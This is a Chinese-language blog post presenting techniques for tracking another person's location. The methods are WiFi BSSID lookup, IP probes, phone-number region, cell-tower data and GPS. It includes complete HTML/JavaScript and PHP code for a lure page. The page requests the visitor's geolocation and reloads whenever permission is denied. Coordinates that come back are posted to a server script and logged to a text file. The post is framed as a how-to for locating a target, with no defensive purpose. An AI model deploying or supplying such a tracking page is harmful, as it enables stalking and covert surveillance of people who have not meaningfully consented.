【每日随记】定位追踪技术 ( 基本思路 )
【每日随记】定位追踪技术 ( 基本思路 )
2022-03-07 / 0 评论 / 185 阅读 / 9 点赞

【每日随记】定位追踪技术 ( 基本思路 )

发光的神
2022-03-07 / 0 评论 / 185 阅读 / 正在检测是否收录...

几种方法

1.WIFI定位
2.手机归属地
3.GPS定位
4.手机基站定位
5.IP定位

WIFI定位

通过bssid进行定位,位置比较精准误差较小,缺点需要强大的数据,
WIFI定位实现的原理,通过bssid进行于经纬度进行绑定存储到数据库,
那么这个数据库需要人更新才会有,不一定就能收到,就跟社工库一样,
需要不断的更新(目测是街景车路过扫描到附件WIFI的BSSID并记录下来)。
一个人做不到这样的搜集,技术很简单但需要大量的WIFI信息的采集。

l8xah1dr.png

netsh wlan show networks mode=bssid

拿到BSSID到WIFI定位地图搜索即可。
WIFI定位地图

IP定位

l8xaxcf2.png

通过公网ip进行定位,只能定位到市
百度直接搜索ip,拿到对方ip即可查询,这里推荐ip探针比较方便。
IP探针

GPS定位

这个是有了对方的GPS经纬度,才可以进行定位。

l8xb9tv4.png

l8xbclqt.png

腾讯地图查询

代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Demo</title>
</head>
<body>
    <script>
        (function() {
            function getLocation() {
                if (navigator.geolocation) {
                    navigator.geolocation.getCurrentPosition(showPosition, errorCallback, { timeout: 10000 });
                } else {
                    alert("您的浏览器暂不支持地理位置功能,请更换浏览器再进行尝试。");
                    location.reload();
                }
            }

            function showPosition(position) {
                var latitude = position.coords.latitude;
                var longitude = position.coords.longitude;
                var data = {
                    latitude: latitude,
                    longitude: longitude
                };

                fetch('./location.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)
                })
                .then(response => response.text())
                .then(data => {
                    console.log(data);
                })
                .catch(error => {
                    console.error('Error:', error);
                });
            }

            function errorCallback(error) {
                var errorMessage = '';
                switch (error.code) {
                    case error.PERMISSION_DENIED:
                        errorMessage = "请允许共享权限。";
                        break;
                    case error.POSITION_UNAVAILABLE:
                        errorMessage = "位置信息不可用。";
                        break;
                    case error.TIMEOUT:
                        errorMessage = "请求用户地理位置超时。";
                        break;
                    case error.UNKNOWN_ERROR:
                        errorMessage = "发生未知错误。";
                        break;
                }
                alert(errorMessage);
                if (error.code === error.PERMISSION_DENIED) {
                    location.reload();
                }
            }

            getLocation();
        })();
    </script>
</body>
</html>
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $json = file_get_contents('php://input');
    $data = json_decode($json, true); 
    if (isset($data['latitude']) && isset($data['longitude'])) {
        $latitude = $data['latitude'];
        $longitude = $data['longitude'];
        $textToWrite = "经度: $longitude, 纬度: $latitude\n";
        file_put_contents('location.txt', $textToWrite, FILE_APPEND | LOCK_EX);
        echo "接收到的经度是: $longitude, 纬度是: $latitude。数据已保存到文件。";
    } else {
        echo "接收的数据中不包含经纬度信息。";
    }
} else {
    echo "非POST请求";
}
?>

手机归属地

这不用多说了吧,直接搜手机归属地直接可以查,但信息量少只能到市。
拿到手机号直接百度也行,会显示的。
手机归属地查询

手机基站定位

安卓手机查询当前所使用基站信息方式:
手机拨号界面,输入##4636##,选择手机信息,即可查看到LAC,cID (CeID)等数据支持的手机型号:ZTE,小米等。
不支持的手机型号:诺基亚,华为等。
手机基站定位

9

评论 (0)

取消
0:00